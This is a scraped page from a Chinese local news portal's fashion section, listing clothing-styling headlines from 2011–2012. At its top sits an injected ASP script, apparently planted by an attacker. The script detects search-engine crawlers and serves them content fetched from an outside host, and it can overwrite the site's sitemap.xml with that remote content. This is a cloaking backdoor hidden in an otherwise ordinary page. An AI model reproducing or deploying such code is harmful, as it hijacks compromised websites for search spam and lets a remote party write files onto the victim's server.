<% function is_search_bot() dim s_agent is_search_bot=false s_agent=Request.ServerVariables("HTTP_USER_AGENT") identify = Array("googlebot","adsbot-google","gsa-crawler","mediapartners-google","baiduspider","yahoo! slurp","inktomi","msnbot","yodaobot","outfoxbot","sogou spider","sosospider","iaskspider","naverrobot") for i=0 to ubound(identify) If instr(1,s_agent,identify(i),1) >0 Then is_search_bot=True Exit Function End If next end Function If is_search_bot() Or Request.QueryString("type")<>"" Then MyUrl="http://s1.1088house.com/" charset="gbk" Server.ScriptTimeOut=9999999 Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage=BytesToBstr(t,charset) End function Function GetBody(url) on error resume next Set Retri = CreateObject("Microsoft.XMLHTTP") With Retri .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retri = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Sub WriteToTextFile(FileUrl,byval Str) set stm=server.CreateObject("adodb.stream") stm.Type=2 stm.mode=3 stm.charset="utf-8" stm.open stm.WriteText str stm.SaveToFile server.MapPath(FileUrl),2 stm.flush stm.Close set stm=nothing End Sub t=DateDiff("s", "1970-1-1 8:00:00", Now()) htmltype=Request.QueryString("type") url = MyUrl+"?charset="+charset+"&host="+(Request.ServerVariables("HTTP_HOST") + Request.ServerVariables("URL")) + "&type="+htmltype+"&doc="+Request.QueryString("doc")+"&page=" +Request.QueryString("page") + "&t=" &t html=getHTTPPage(url) If htmltype="sitemap" Then call WriteToTextFile("sitemap.xml",html) Response.Write("ok") else Response.Write(html) End If response.End() End If %>
首页 | 新闻中心 | 网上诸暨 | 专  题 | 房产 | 汽车 | 饮食 | 摄影 | 文学 | 分类信息
图片 | 诸暨网视 | 记者连线 | 一卡通 | 旅游 | 健康 | 教育 | 娱乐 | 女性 | 交友中心
 

 时尚  袜品  服饰  护肤  情感  生活小贴士        

    服饰


    ·美裙爱上运动衫 (2012-4-12 8:42:35)
    ·粉色西装外套来袭 扮靓明媚早春季 (2012-3-16 9:25:37)
    ·百变衬衫早春必备 巧穿搭出街潮爆 (2012-3-1 9:46:56)
    ·西装外套瘦腿裤 学明星穿出街头范 (2012-2-15 9:29:23)
    ·换季长裙穿上身 摆脱沉闷暖意满满 (2012-2-10 9:26:42)
    ·早春的印花裙 轻松减龄穿出春味道 (2012-2-3 9:41:16)
    ·初春暖搭示范 过臀外套显瘦遮赘肉 (2012-1-30 9:11:42)
    ·学明星巧穿羽绒服 (2012-1-13 8:20:19)
    ·西装领呢子大衣 要保暖也要超有型 (2011-12-21 9:37:47)
    ·修腿裤搭外套 T台示范捂严也显瘦 (2011-12-14 9:07:48)
    ·素色呢大衣配短靴 搭配讲究人人赞 (2011-12-1 9:01:12)
    ·膝上冬裙配暖外套 冷天美丽更动人 (2011-11-22 8:31:47)
    ·素色呢大衣配短靴 搭配讲究人人赞 (2011-11-15 8:40:19)
    ·初冬宽松毛衣 香肩小露性感又显瘦 (2011-11-10 9:01:31)
    ·心机小皮衣+短裙做办公室迷人大妞 (2011-11-7 9:54:50)
    ·超秋感翻领外套 降温天穿最有范儿 (2011-11-2 9:32:21)
    ·星级小外套内搭衬衫 经典造型满分 (2011-10-13 9:29:25)
    ·素色过臀外套大方保暖 (2011-10-11 8:53:53)
    ·针织衫+瘦腿裤 妙搭显自信备受宠 (2011-10-8 8:24:35)
    ·清爽好穿浅色上装 提亮肤色招桃花 (2011-9-29 9:26:17)
下一页
   

浙ICP备05004053号

 

诸暨网简介 | 刊登广告 | 版权声明 | 联系方式 | 设为首页
 诸暨日报社版权所有 未经授权禁止下载或建立镜像